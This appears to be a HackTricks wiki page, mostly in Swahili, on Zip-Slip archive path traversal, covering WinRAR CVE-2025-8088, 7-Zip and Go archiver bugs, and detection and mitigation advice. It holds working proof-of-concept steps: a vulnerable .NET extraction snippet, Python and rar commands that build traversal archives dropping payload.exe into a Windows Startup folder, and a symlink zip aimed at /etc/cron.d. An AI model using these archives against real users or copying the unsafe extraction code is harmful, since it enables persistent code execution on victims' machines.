Archive Extraction Path Traversal (βZip-Slipβ / WinRAR CVE-2025-8088)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Muhtasari
Mifumo mingi ya archive (ZIP, RAR, TAR, 7-ZIP, etc.) huruhusu kila kipengee kuwa na internal path yake. Wakati chombo cha extraction kinaheshimu njia hiyo bila kuichuja, jina la faili lililotengenezwa likiwa na .. au absolute path (mfano C:\Windows\System32\) litaandikwa nje ya saraka iliyochaguliwa na mtumiaji.
Aina hii ya udhaifu inajulikana sana kama Zip-Slip au archive extraction path traversal.
Chanzo
- Mshambuliaji anaunda archive ambapo kichwa cha faili kimoja au zaidi kina:
- Mfuatano wa relative traversal (
..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe) - Absolute paths (
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe) - Au symlinks zilizotengenezwa ambazo zinaelekeza nje ya saraka lengwa (kawaida kwenye ZIP/TAR kwenye nix).
- Mhusika anachomeka archive kwa kutumia chombo chenye udhaifu ambacho kinatumai njia iliyowekwa ndani (au kinafuata symlinks) badala ya kuisafisha au kulazimisha uchomaji chini ya saraka iliyochaguliwa.
- Faili inaandikwa mahali palipodhibitiwa na mshambuliaji na huendeshwa/huingizwa mara mfumo au mtumiaji anapotumia njia hiyo.
.NET Path.Combine + ZipArchive traversal
Muundo mbaya wa kawaida katika .NET ni kuchanganya mahali pa kusudi na inayodhibitiwa na mtumiaji ZipArchiveEntry.FullName na kufanya extraction bila kuanisha njia:
using (var zip = ZipFile.OpenRead(zipPath))
{
foreach (var entry in zip.Entries)
{
var dest = Path.Combine(@"C:\samples\queue\", entry.FullName); // drops base if FullName is absolute
entry.ExtractToFile(dest);
}
}
- Ikiwa
entry.FullNameinaanza na..\\hufanya path traversal; ikiwa ni absolute path sehemu ya kushoto inatupwa kabisa, na kusababisha arbitrary file write kama kitambulisho cha extraction. - Archive ya proof-of-concept ya kuandika kwenye saraka jirani
appinayotazamwa na scanner iliyopangwa:
import zipfile
with zipfile.ZipFile("slip.zip", "w") as z:
z.writestr("../app/0xdf.txt", "ABCD")
Kuweka ZIP hiyo kwenye inbox inayofuatiliwa kunasababisha C:\samples\app\0xdf.txt, ikithibitisha traversal nje ya C:\samples\queue\ na kuwezesha follow-on primitives (kwa mfano, DLL hijacks).
Mfano wa Ulimwengu Halisi β WinRAR β€ 7.12 (CVE-2025-8088)
WinRAR for Windows (ikijumuisha CLI ya rar / unrar, DLL na msimbo wa chanzo unaoweza kubebeka) ilishindwa kuthibitisha majina ya faili wakati wa uondoaji.
Jalada la RAR lenye madhara likiwa na kipengele kama:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
ingemalizika nje ya saraka ya pato iliyochaguliwa na ndani ya saraka ya Startup ya mtumiaji. Baada ya kuingia, Windows hutekeleza moja kwa moja kila kitu kilicho hapo, ikitoa RCE inayodumu.
Kuunda PoC Archive (Linux/Mac)
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
Chaguzi zilizotumika:
-epβ hifadhi file paths hasa kama zilivyo (usifute leading./).
Wape evil.rar mlengwa na waambie aifungue kwa build ya WinRAR yenye udhaifu.
Utekelezaji Ulioonekana Kwenye Uwanja
ESET iliripoti kampeni za spear-phishing za RomCom (Storm-0978/UNC2596) ambazo zilikuwa na RAR archives zikizitumia CVE-2025-8088 kuweka backdoors zilizobinafsishwa na kurahisisha operesheni za ransomware.
Matukio Mapya (2024β2025)
7-Zip ZIP symlink traversal β RCE (CVE-2025-11001 / ZDI-25-949)
- Bug: ZIP entries ambazo ni symbolic links zilitafsiriwa (dereferenced) wakati wa extraction, kuruhusu mashambulizi kutoroka directory ya destination na kuandika juu ya njia yoyote. Mwingiliano wa mtumiaji ni tu kufungua/kuchukua archive.
- Athiriwa: 7-Zip 21.02β24.09 (Windows & Linux builds). Imerekebishwa katika 25.00 (Julai 2025) na baadaye.
- Njia ya athari: Kuandika juu ya
Start Menu/Programs/Startupau maeneo yanayotekelezwa na huduma β code inatumika wakati wa logon inayofuata au restart ya huduma. - PoC Fupi (Linux):
mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil # -y preserves symlinks
7z x exploit.zip -o/tmp/target # vulnerable 7-Zip writes to /etc/cron.d
Katika build iliyotengenezwa (patched) /etc/cron.d haitaguswa; symlink itatolewa kama link ndani ya /tmp/target.
Go mholt/archiver Unarchive() Zip-Slip (CVE-2025-3445)
- Bug:
archiver.Unarchive()inafuata../na ZIP entries zilizo na symlink, ikiandika nje yaoutputDir. - Athiriwa:
github.com/mholt/archiverβ€ 3.5.1 (mradi sasa umeachwa / deprecated). - Suluhisho: Badilisha kwa
mholt/archivesβ₯ 0.1.0 au tekeleza ukaguzi wa canonical-path kabla ya kuandika. - Mfano mdogo:
// go test . with archiver<=3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys
Vidokezo vya Kugundua
- Static inspection β Orodhesha archive entries na weka alama kwa jina lolote linalojumuisha
../,..\\, absolute paths (/,C:) au entries za aina symlink ambazo target yake iko nje ya extraction dir. - Canonicalisation β Hakikisha
realpath(join(dest, name))bado inaanza nadest. Kataa vinginevyo. - Sandbox extraction β Chomoa ndani ya directory ya muda inayoweza kutupwa kwa kutumia extractor safe (mfano,
bsdtar --safe --xattrs --no-same-owner, 7-Zip β₯ 25.00) na thibitisha kwamba njia zinazotokana zimebaki ndani ya directory. - Endpoint monitoring β Tuma onyo kuhusu executable mpya zilizoandikwa kwa
Startup/Run/cronmaeneo muda mfupi baada ya archive kufunguliwa na WinRAR/7-Zip/etc.
Kupunguza Hatari na Kuimarisha
- Sasisha extractor β WinRAR 7.13+ na 7-Zip 25.00+ zinafanya path/symlink sanitisation. Zana zote mbili bado hazina auto-update.
- Extract archives kwa kutumia βDo not extract pathsβ / βIgnore pathsβ inapowezekana.
- Kwenye Unix, punguza privileges & mount chroot/namespace kabla ya extraction; kwenye Windows, tumia AppContainer au sandbox.
- Ikiwa unaandika custom code, sanifu kwa
realpath()/PathCanonicalize()kabla ya create/write, na kata entry yoyote inayotoroka destination.
Matukio Mengine / Ya Kihistoria
- 2018 β Taarifa kubwa ya Zip-Slip kutoka Snyk ambayo ilighusu maktaba nyingi za Java/Go/JS.
- 2023 β 7-Zip CVE-2023-4011 traversal inayofanana wakati wa
-aomerge. - 2025 β HashiCorp
go-slug(CVE-2025-0377) TAR extraction traversal katika slugs (patch katika v1.2). - Logic yoyote ya custom extraction ambayo inashindwa kuita
PathCanonicalize/realpathkabla ya kuandika.
References
- Trend Micro ZDI-25-949 β 7-Zip symlink ZIP traversal (CVE-2025-11001)
- JFrog Research β mholt/archiver Zip-Slip (CVE-2025-3445)
- Meziantou β Prevent Zip Slip in .NET
- 0xdf β HTB Bruno ZipSlip β DLL hijack chain
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


